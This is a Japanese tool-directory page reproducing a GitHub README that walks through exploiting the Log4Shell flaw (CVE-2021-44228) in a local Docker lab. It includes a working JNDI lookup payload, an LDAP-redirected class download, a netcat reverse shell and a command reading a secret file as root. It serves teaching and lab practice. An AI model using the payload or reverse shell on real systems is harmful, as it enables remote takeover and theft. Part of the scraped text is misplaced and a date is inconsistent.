Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j-vulnerability — CVE-2021-44228 の脆弱性を悪用する方法を紹介します。 | Kitploit
ツール/GitHubGitHub/marceloleite2604/log4j-vulnerability
脆弱性分析エクスプロイトウェブアプリケーション悪用コマンド&コントロール学習と教育リモートアクセスツールペイロード開発ラボと実践
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

CVE-2021-44228 の脆弱性を悪用する方法を紹介します。

リポジトリを見る
14年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LOG4J 脆弱性

CVE-2021-44228 の脆弱性を悪用する方法を示す Java ベースのプロジェクトです。

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

必要条件

  • Linux ベースのオペレーティングシステム: 私は Ubuntu Desktop 20.10 64 bits を使用しました。
  • OpenJDK 17.0.1: 悪用プログラムをビルドするために必要です。新しいバージョンでも動作する可能性があります。
  • Oracle Java Development Kit (JDK) 1.8.0_181: これは悪用を成功させるために_必須_です。インストールされている必要はありませんが、プロジェクトのルートディレクトリに展開されている必要があります。JDK は Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) ページ にあります。
  • Apache Maven 3.6.3: 依存関係の管理と jar ファイルの生成に必要です。新しいバージョンでも動作する可能性があります。
  • Docker 20.10.12: 悪用対象のサービスを含むコンテナを管理するために必要です。新しいバージョンでも動作する可能性があります。
  • Docker-compose 1.29.2: イメージ生成と、コンテナの作成・実行・削除のオーケストレーションを支援するために必要です。新しいバージョンでも動作する可能性があります。
  • GNU Make 4.3: このプロジェクトは、必須ファイルの検証と生成を支援するために Makefile を使用します。新しいバージョンでも動作する可能性があります。
  • OpenBSD Netcat (別名 nc): 侵入したサーバーとの通信を確立するために必要です。このパッケージは Linux ディストリビューションのパッケージマネージャー (apt など) からインストールできます。
  • (推奨) IntelliJ IDEA Community Edition 2021.3.1: これらのプロジェクトの内部を確認したい場合は、この IDE のインストールを推奨します。繰り返しますが、新しいバージョンでも動作する可能性があります。

実行手順

  1. このリポジトリをローカルマシンにクローンします。
  2. Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) ページ からダウンロードし、プロジェクトのルートディレクトリに展開します。展開時に作成される jdk1.8.0_181 ディレクトリのままにしておきます。
  3. make all を実行して、すべてのプロジェクトをビルドし、脆弱なサービスを含む Docker イメージを作成します。
  4. 3 つのターミナルを開き、次のコマンドを実行します。
    1. 1 つ目のターミナル: make start-vulnerable-service で、悪用対象のサービスを実行する Docker コンテナを起動します。このサービスは ローカルマシンのポート 8080 からアクセスできます。
    2. 2 つ目のターミナル: make start-nc で、侵入したサーバーとの接続が確立されるのを待つ TCP リスナーを起動します。
    3. 3 つ目のターミナル: make start-exploiter で、脆弱性の悪用を支援するプログラムを起動します。
  5. 3 つ目のターミナルを起動した後、悪用プログラムがアクセス用 URL を表示します。それをブラウザに貼り付けて悪用を開始します。
  6. すべてが期待どおりに進めば、ブラウザは応答を受け取らず、読み込み状態のままになります。
  7. ここで 2 つ目のターミナル (make start-nc を実行したターミナル) を確認します。Connection received on 172.24.0.2 46638 のようなメッセージが表示されているはずです (IP アドレスと TCP ポートはここに示したものと異なる場合があります)。これは悪用が成功し、サーバー/Docker コンテナ上にシェルが接続されたことを意味します。
  8. すべてが期待どおりに進んだかどうかを確認するには、whoami コマンドを実行してみてください。出力として root が返ってくるはずです。
  9. 次に を実行して、何が起こるか確認してみましょう。🙂

どのように動作するのか?

その質問に答える前に、フロー全体で作成されるプロセスを見てみましょう。

log4-vulnerability processeses

Docker コンテナ

この Docker コンテナは、/log パスへの GET リクエストを input パラメータ付きで受け取る単純な HTTP サービスを提供します。受け取ると、入力をコンソールに記録します。

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

脆弱性を悪用するには、いくつかの特定の構成が必要です。

  • サービスの実行に使用される Java ランタイム環境 (JRE) のバージョンは 1.8.0_181 です。これは、外部サービスから Java クラスをロードできるようにするために必要です。
  • Java プロジェクトの依存関係は、デフォルトの spring-boot-starter-logging:2.6.1 を spring-boot-starter-log4j2:2.6.1 に置き換えるために大幅に変更する必要があります。後者により log4j-core:2.14.1 がプロジェクトに取り込まれますが、これは CVE-2021-44228 に対して脆弱なバージョンです。

dependency-tree

  • サービス Jar ファイルは、Java コンパイラのバージョン 1.8.0_181 で作成されました。

Netcat (nc) プログラム

ここでは特別な説明や調整はありません。これは TCP および UDP プロトコルでデータを読み書きするための単純なプログラムです。ポート 9001 で着信 TCP 接続を待ち続けるために使用します (サーバー側で別の何かがこの接続を開いてくれます。😉)。

接続が確立されると、受信したすべてのデータがコンソールに出力されます。また、入力されたすべての内容はこの接続を通じて送信されます。

悪用プログラム (Exploiter)

さて、ここからが本番です!

このプログラムは、脆弱性を悪用するために必要な複数の手順をカプセル化しています。分解してみましょう。

実行引数

このプログラムを実行するには、3 つのパラメータを指定する必要があります。

  1. HTTP サーバーと Netcat の IP アドレス/ホスト: 脆弱性を悪用するには、LDAP 応答が脆弱なサービスをリダイレクトしてコンパイル済み Java クラスをダウンロードさせられるよう、脆弱なサービスから見た HTTP サーバーの IP アドレスが必要です。これは、コンパイル済み Java クラス自体が Netcat との TCP 接続を開くためにも使用されます (上記で説明)。
  2. HTTP サーバーのポート: コンパイル済み Java クラスを送信する役割を担う HTTP サーバーが接続を受け付けるポートです。これは LDAP 応答にも含まれ、コンパイル済み Java クラスがダウンロードされるポートを通知します。
  3. Netcat のポート: Netcat が接続を待ち受けているポートです。コンパイル済み Java クラスが Netcat との TCP 接続を開くために使用します。

悪用 Java クラス

プログラムが起動すると、テンプレートに基づいた Java コードを書き出します。このテンプレートには、Netcat の IP アドレスとポートの 2 つの引数が必要です。

コードが書き出されると、プログラムは Java コンパイラ (javac) バージョン 1.8.0_181 を使用してバイナリクラスファイルにコンパイルします。これは、悪用対象のサービスと同じコードバージョンを維持するために重要です。

Exploit Java クラスはかなり単純な構造です。そのコンストラクタには、オペレーティングシステムにシェルプログラムを作成するよう要求する命令があります。シェルが作成されると、クラスは Netcat との TCP 接続を開き、シェルと TCP 接続の入出力をバインドし、Netcat によって接続が閉じられるまで Java 仮想マシンの実行をループに閉じ込めます。ループを抜けると、コンストラクタは何もなかったかのように続行します。

Marshalsec プログラム

Exploiter は、Marshalsec Java プログラムの実行を要求するサブプロセスを開きます。Marshalsec プログラムは mbechler/marchalsec Github プロジェクト で入手できます。

他の機能に加えて、LDAP リクエストを管理し、着信接続に対して、外部ソースから Java クラスをダウンロードしてリクエストを解決するよう要求するために使用できます。このケースでは、着信接続に対して HTTP サービスから Exploit Java クラスをダウンロードするよう要求するために使用します。

HTTP サービス

Exploiter プログラムが細工された Java クラスを作成すると、単一の応答 (Exploit バイナリ Java クラス) を持つ HTTP サービスを開始します。

簡単に言うと、脆弱なサービスが外部クラスのロードを要求すると、このサービスは Java クラスのバイナリファイルを読み取り、脆弱なサービスに送り返します。それだけです!

すべてを支配する 1 つの HTTP リクエスト

すべてが起動して実行されると、プログラムは悪用をトリガーするために必要な HTTP リクエストを出力します。お好みのブラウザにコピー&ペーストするか、ターミナルから curl で送信してください。どちらでも構いません!

リクエストは次のようなものになります。

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

クエリパラメータには特殊文字が含まれているため、ブラウザが受け入れられるようにエンコードする必要があります。デコードすると、メッセージは次のようになります。

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

通信フロー

リクエストが送信された後に何が起こるかを示す簡略化した図を以下に示します。

log4j-vulnerability communication flow

これを使って、次に何が起こるかを説明します。

  • ブラウザは、HTTP リクエストを脆弱なサービスに送信します。
  • 脆弱なサービスはリクエストを受け入れ、ユーザー入力を記録します。
  • log4j がメッセージを受け取ると、解決すべきコンテンツがあることに気づきます: ${jndi:ldap://host.docker.internal:1389/a}。
  • 値に従って、表示されるコンテンツは LDAP プロトコルを介して host.docker.internal:1389 から a キーを使用して取得する必要があります (かなり味気なく無効な LDAP distinguished name ですが、動けばいいのです...)。log4j は、その値を取得する目的でこのアドレスにリクエストを送信します。

観察: host.docker.internal は、Docker サービスが実行されている物理マシンに到達するための有効なアドレスです。

  • Marshalsec プログラム (ローカルのポート 1389 で実行中) は着信リクエストを受け入れ、脆弱なサービスに、リクエストを解決するために host.docker.internal:8000 で利用可能な Exploit という名前の Java クラスファイルをダウンロードするよう要求します。
  • log4j は host.docker.internal:8000 にリクエストを送信し、/Exploit パスで利用可能なリソースを取得します。
  • HTTP サービス (ローカルのポート 8000 で実行中) は、Exploit バイナリ Java クラスを送信してリクエストに応答します。
  • log4j は、その Exploit() コンストラクタメソッドを実行してクラスをインスタンス化し、変数を解決しようとします。
  • Exploit() コンストラクタメソッドは、サーバー上でシェルプログラムを起動し、host.docker.internal:9001 との TCP チャネルを開くよう要求します。
  • Netcat (ローカルのポート 9001 で実行中) は着信 TCP 接続を受け入れます。
  • Exploit() コンストラクタメソッドは、シェルの入出力を TCP 接続にバインドし、TCP 接続が相手側によって閉じられるまで Java 仮想マシンのスレッドをループに閉じ込めます。
  • Netcat は、シェルコマンドを送信し、サーバーから出力を受け取るために使用できるようになります。

考慮事項

TBD

参考資料

kozmer/log4j-shell-poc Github プロジェクト - 悪用の仕組みを理解するのに役立ちました。このプロジェクトに貢献してくださったすべての方に感謝します!

mbechler/marchalsec Github プロジェクト - このプロジェクトがなければ、LDAP 通信とリダイレクトをこれほど迅速に扱うことはできなかったでしょう。皆さん、ありがとうございます!

SrcCodes Log4j Vulnerability ビデオ - Spring ベースのプログラムで悪用を開始する方法を紹介する、よく説明されたビデオです。

Nowcomm CVE-2021-44228 exploit demo ビデオ - Apache Solr で CVE-2021-44228 を悪用する方法を説明する素晴らしいビデオです。後半は、実際に何が起こっているのかを理解するために十数回見る必要がありました! 😛

ツールをダウンロード
cat ../private-directory/my-secret-file.txt
  • サーバーでの操作が終わったら、CTRL+C を押して接続を閉じます。
  • 他のターミナルでも CTRL+C を押してプロセスを中断できます。